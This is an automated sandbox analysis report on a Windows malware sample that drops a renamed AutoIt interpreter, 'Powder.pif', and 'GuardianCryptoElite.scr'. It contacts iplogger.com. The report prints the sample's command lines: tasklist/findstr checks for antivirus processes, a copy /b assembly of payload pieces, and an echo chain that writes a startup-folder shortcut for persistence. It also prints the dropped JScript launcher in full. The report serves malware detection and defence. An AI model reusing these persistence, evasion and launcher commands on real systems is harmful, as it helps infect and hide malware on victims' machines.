Source: Powder.pif, 0000000B.00000002.3300392043.0000000003A10000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3300392043.0000000003A3A000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW19e
Source: GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CF45D5 BlockInput,

11_2_00CF45D5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00C95240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00C95240

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CB5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

11_2_00CB5CAC

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CD88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

11_2_00CD88CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CAA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00CAA385
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CAA354 SetUnhandledExceptionFilter,	11_2_00CAA354
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031A354 SetUnhandledExceptionFilter,	17_2_0031A354
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0031A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0031A385

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CD9369 LogonUserW,

11_2_00CD9369

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00C95240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00C95240

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE1AC6 SendInput,keybd_event,

11_2_00CE1AC6

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE51E2 mouse_event,

11_2_00CE51E2

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 103495	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "aroundaccommodategroupseverything" Fine	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif Powder.pif n	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & echo url="c:\users\user\appdata\local\guardiancrypto systems inc\guardiancryptoelite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & exit
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & echo url="c:\users\user\appdata\local\guardiancrypto systems inc\guardiancryptoelite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\guardiancryptoelite.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

11_2_00CD88CD

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CE4F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00CE4F1C

Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000294F000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000000.2106355848.0000000000D36000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000B.00000003.2114457537.0000000003CB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Powder.pif, GuardianCryptoElite.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CA885B cpuid

11_2_00CA885B

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CC0030 GetLocalTime,__swprintf,

11_2_00CC0030

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CC0722 GetUserNameW,

11_2_00CC0722

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CB416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_00CB416A

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: GuardianCryptoElite.scr	Binary or memory string: WIN_81
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_XP
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_XPe
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_VISTA
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_7
Source: GuardianCryptoElite.scr	Binary or memory string: WIN_8
Source: Powder.pif.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CF696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_00CF696E
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CF6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00CF6E32
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0036696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	17_2_0036696E
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00366E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	17_2_00366E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 Software Packing	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	11 Masquerading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cW5i0RdQ4L.exe	8%	ReversingLabs
cW5i0RdQ4L.exe	14%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	5%	ReversingLabs
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	10%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\103495\Powder.pif	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\103495\Powder.pif	10%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
iplogger.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.autoitscript.com/autoit3/	0%	Virustotal		Browse
https://iplogger.com/	1%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
iplogger.com	104.21.76.57	true	false	1%, Virustotal, Browse	unknown
SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://iplogger.com/15RZZ4	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000000.2108256575.0000000000D49000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3298955040.00000000003B9000.00000002.00000001.01000000.0000000A.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	false	0%, Virustotal, Browse	unknown
https://iplogger.com/15RZZ4-	Powder.pif, 0000000B.00000002.3300392043.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://iplogger.com/crosoft	GuardianCryptoElite.scr, 00000011.00000002.3299956633.00000000013BF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	cW5i0RdQ4L.exe	false	URL Reputation: safe	unknown
https://iplogger.com/):	GuardianCryptoElite.scr, 00000011.00000002.3299956633.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.autoitscript.com/autoit3/	cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	false	0%, Virustotal, Browse	unknown
https://iplogger.com/15RZZ4GuardianCrypto	Powder.pif, 0000000B.00000002.3299911572.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.com/u:	GuardianCryptoElite.scr, 00000011.00000002.3299956633.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.com/	Powder.pif, 0000000B.00000002.3300392043.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3299956633.00000000013BF000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://iplogger.com/15RZZ4:	GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D14000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.76.57	iplogger.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532361
Start date and time:	2024-10-13 01:57:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cW5i0RdQ4L.exe renamed because original name is a hash value
Original Sample Name:	c065ba22909fc8dbded4ea0eebb24ad5.exe
Detection:	MAL
Classification:	mal88.expl.evad.winEXE@28/18@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 105 Number of non-executed functions: 293
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:58:09	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url
19:58:07	API Interceptor	3526x Sleep call for process: Powder.pif modified
19:58:25	API Interceptor	2391x Sleep call for process: GuardianCryptoElite.scr modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.76.57	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse
	file.exe	Get hash	malicious	DarkTortilla	Browse
	Setup3.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.DownLoaderNET.786.29532.16195.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Neoreklami, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	LisectAVT_2403002A_340.exe	Get hash	malicious	Cryptbot	Browse
	LisectAVT_2403002C_44.exe	Get hash	malicious	EICAR	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iplogger.com	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	172.67.188.178
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.21.76.57
	Setup3.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	file.exe	Get hash	malicious	DarkTortilla	Browse	172.67.188.178
	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse	172.67.188.178
	Arc453466701.msi	Get hash	malicious	Unknown	Browse	104.21.76.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	Setup-Premium.exe	Get hash	malicious	LummaC	Browse	104.21.79.35
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	172.67.221.87
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	FluxusV2.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.3.16
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.77.78
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://confortdelaine.net/_t/c/A1020005-17FCBF5826D778A0-C9FF7535?l=AAAjUdfNc16+VqCOWdjhu7TjhebDwXm6ITDaAzM2/RBqTCouOd4syZWt0oQeHch0J32d09qewtBep0xMzEqQw5uCDD5jzGMptv2Ml8tKG/C8CtlmUW+BwgihXDjkVb9+HrdQMTDnH/ltKCqbqkeSWCTVbTbsi7hQm50lkSO+uIKP+WaZVK5CwB+KNw5vz0h1+VWB9nXYS7r/65KwDXG1eoQ7LpgExf5uqFhJOeKU2lxyf8MZFWma+Jpcd8qAgpI5cl3w3zd+Vm0EYEfvHWX+4U6+p25bR3xOeQgBPB06jegeQ9cdnaCwg3Jra3NPSUfO/ZRQe9TJEW4VVwilXp7v0mwUyqJcK2y5kBNWNZEBnnQaAV+iawzJY19HetwEfzVabFBg3HhgYGx7XFWZYjHTHjwVWsbkjfgBb5461v0CHJjM9jrxfdj1kWIpcxid8O+dUSurKUOY4Hbb6SKXakBTmnkrYs0n3Xg5Ig==&c=AABu3sW2q3Ir8ifQJAijAhNJKq0uXwwF4aGWbgefQqJepVeNmQ2aDLrgth/4e3uZIWGGIQ8D3UPNbSnpgolkZPjCVjLlF8o96RZE6aKBP9hbbWDin7ntLRUM+OO5f3pIO2jZnmZof+ubVBUQEbWFAbo8xkwwPjD2yomWYO9BLauUbPdhe7sTeQubBshJfuD8IakpYR9mWvaRkj7jNE3uduhHnJqo59l67j+0INR7XdqioPPPYIlYt8Y2ErrD/Hm1x7Ub0JlpSy2dIylu82OHsbPe2IgE0AfUZGQlqmZjkJjdk/1R+5UTAbpM4Ru2nPA1W7k8m3b56CPQfp4Nfu7t5KTvxCSLpsyTXBp2H+CLMJgrqBWvScKuAGZzoBftoxN6AlJm7/tBk90HG/fSCigf6L5/vrhdqLwDnA3umOCSZNa6Rd/lq2DBocN9C5i+TM7dwQouAP+UKgVQf4ATMh19VLexy/mmb76HgGZt4HtVGufMb6cC2I7sVZK9dBduwlRzxT47SRfRKthnR5h3xirvQPbRJwRGy1YOGI3PBe6L8zkZnlHm4NWF1riKc7NfDV2jKR/ux1g+p2dIOZSC6QRSQfNi2L0zb9mMJvmZGJpdRbwk09T/RgLB6/6oigEcyMOmQDpPT8ma	Get hash	malicious	Unknown	Browse	23.227.38.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	OceanicTools.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	v.1.6.3__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.21.76.57
	phantomtoolsv2.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	bot.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.76.57
	narud#U017ebenica TISAKOMERC d.o.oRadbrkkedes234525262623.wsf	Get hash	malicious	Remcos, GuLoader	Browse	104.21.76.57
	v.1.5.4__x64__.msi	Get hash	malicious	LegionLoader	Browse	104.21.76.57
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	SecuriteInfo.com.FileRepMalware.1304.4177.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	Synaptics.exe	Get hash	malicious	XRed	Browse	104.21.76.57
	Quotation-GINC-19-00204.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.76.57

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\103495\Powder.pif	67079aecc452b_xin.exe	Get hash	malicious	Unknown	Browse
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	M13W1o3scc.exe	Get hash	malicious	Stealc	Browse
	down.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	InstallSetup.exe	Get hash	malicious	Stealc	Browse
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse
C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	67079aecc452b_xin.exe	Get hash	malicious	Unknown	Browse
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	M13W1o3scc.exe	Get hash	malicious	Stealc	Browse
	down.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	InstallSetup.exe	Get hash	malicious	Stealc	Browse
	bomb.exe	Get hash	malicious	Amadey, Go Injector, LummaC Stealer, Phorpiex, PureLog Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.786819322701662
Encrypted:	false
SSDEEP:	6:RiJBJHonwWDaJ0/hJkDB+Mak7WkMu8HMaz7ywWDaJ0/hJkDB+Mak7WkMu05M:YJ7QjW0hCzaUW5iaKW0hCzaUW54
MD5:	BFE58F1EEFA06EC93983BF94E2C8C5EC
SHA1:	D7955EDD640E01A3B4B24125B00C1906EE2FF8D4
SHA-256:	5A4150377F850B2886A2C7DD381CA738B9F7ABBDBFA6DD413F3C8FE15CC0145F
SHA-512:	7091C41AE6C896F0BE4982CF5D107E1C306E5364199A3927648013BE287203901374C3396ADF0E4A98F2B5862591461815AC5EEC6E4E1723FD664A0655263BD5
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\GuardianCrypto Systems Inc\\GuardianCryptoElite.scr\" \"C:\\Users\\user\\AppData\\Local\\GuardianCrypto Systems Inc\\O\"")

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5% Antivirus: Virustotal, Detection: 10%, Browse
